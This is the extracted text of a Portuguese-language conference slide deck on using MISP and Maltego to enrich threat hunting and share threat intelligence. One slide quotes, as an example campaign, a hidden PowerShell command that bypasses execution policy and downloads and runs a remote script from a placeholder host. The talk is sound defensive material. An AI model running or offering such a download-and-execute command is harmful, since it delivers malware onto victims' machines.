
Enriquecendo Threat Hunting 

com MISP, Maltego e 

Inteligência de Múltiplas 

Fontes.

MISP na Análise de Inteligência de Ameaças - Cleber Soares

Cleber Soares
7º Workshop MISP 



Csoares@localhost:~#Whoami
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Analista de Segurança da Informação;

Graduado em Redes Computadores;

Pós em Redes Computadores;

Pós em Ethical Hacking CyberSecurity;

Pós Forense Computacional;

Pós Graduando Threat Intelligence and Hunting;

Perito Forense Computacional;

Hardware Hacking | Biohacking | Blue & Red Team

Atuação ativa nas comunidades:



Alguns artigos
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Livros públicados
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MISP

Coletar Armazenar Enriquecer Correlacionar Analisar Disseminar Compartilhar

Plataforma de código aberto capaz 
de suportar TODAS as etapas de 

Cyber Threat Intelligence.

ISO/IEC 

27010:2015

Decreto

nº 12.573/2025

Art. 8º - Incentivo
7º Workshop MISP 
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Governamental

Financeiro

EducacionalSaúde

Portuário
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MISP no Brasil.

MISP na Análise de Inteligência de Ameaças - Cleber Soares
77º Workshop MISP 



Compartilhamento: a vantagem do cibercrime

Compartilham Informações

Compartilham Ferramentas

Compartilham Código

Adaptam e Evoluem Rapidamente

Investigação isolada

Pouco compartilhamento

Reposta lenta

Dificuldades para entender o impacto 

InstituiçõesAtacantes

7º Workshop MISP 



Break new
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…



Tudo começa com uma campanha...

powershell -W Hidden -EP Bypass -NoP -C 

"[Net.ServicePointManager]::SecurityProtocol=[N

et.SecurityProtocolType]::Tls12;& 

([scriptblock]::Create((New-Object

Net.WebClient).DownloadString('https://x.yz')))"
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CTI transforma dados em inteligência



A pergunta é...

7º Workshop MISP 

Será que fomo

comprometidos?



Hunting

Framework Tahiti
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TLP: CLEARHunting – Evento no SIEM



Hunting – 2º evento no SIEM



Maltego
Instalação x Dificuldades 
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Maltego :  Criando um novo transforme

Fonte - https://docs.maltego.com/en/support/solutions/articles/15000019514-add-maltego-trx-transforms-to-maltego-desktop-client-via-itds#steps-to-add-local-transforms-to-the-itds-0-1

Estrutura do projeto

Script Install



Maltego :  Configurações

Fonte - https://docs.maltego.com/en/support/solutions/articles/15000019514-add-maltego-trx-transforms-to-maltego-desktop-client-via-itds#steps-to-add-local-transforms-to-the-itds-0-1



TLP: CLEAR



Threat Hunting – Nova Busca com IOCs Correlacionados



MISP na Análise de Inteligência de Ameaças - Cleber Soares

Integração entre CTI, Threat Hunting e Resposta a Incidentes

SIEM Threat Hunting CTI

MISP
Hub de CTI

Sandbox

Feeds

MISP

Maltego

Pivoting • Visualização • Correlação

Inteligência Enriquecida

(IOCs + Contexto + TTPs)

Threat Hunting Incident Response Detection Engineering Purple Team

Retroalimenta

• Novos IOCs

• Novas TTPs

• Novas Detecções

7º Workshop MISP 



MISP + Maltego = Reação (IR)

MISP + Firewall = Proteção MISP + IDS/SIEM = Monitoração/Deteção

MISP + Vulnerability Management = Prevenção
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Visão geral das funcionalidades do MISP.
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Visão geral das funcionalidades do MISP.



• https://www.misp-project.org/

• https://www.maltego.com/misp

• https://github.com/MISP/MISP-maltego

Algumas Referências
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Dúvidas?

Obrigado!!!

clebersoares_sec

Cleber.soares@owasp.org

TLP: CLEAR

7º Workshop MISP 
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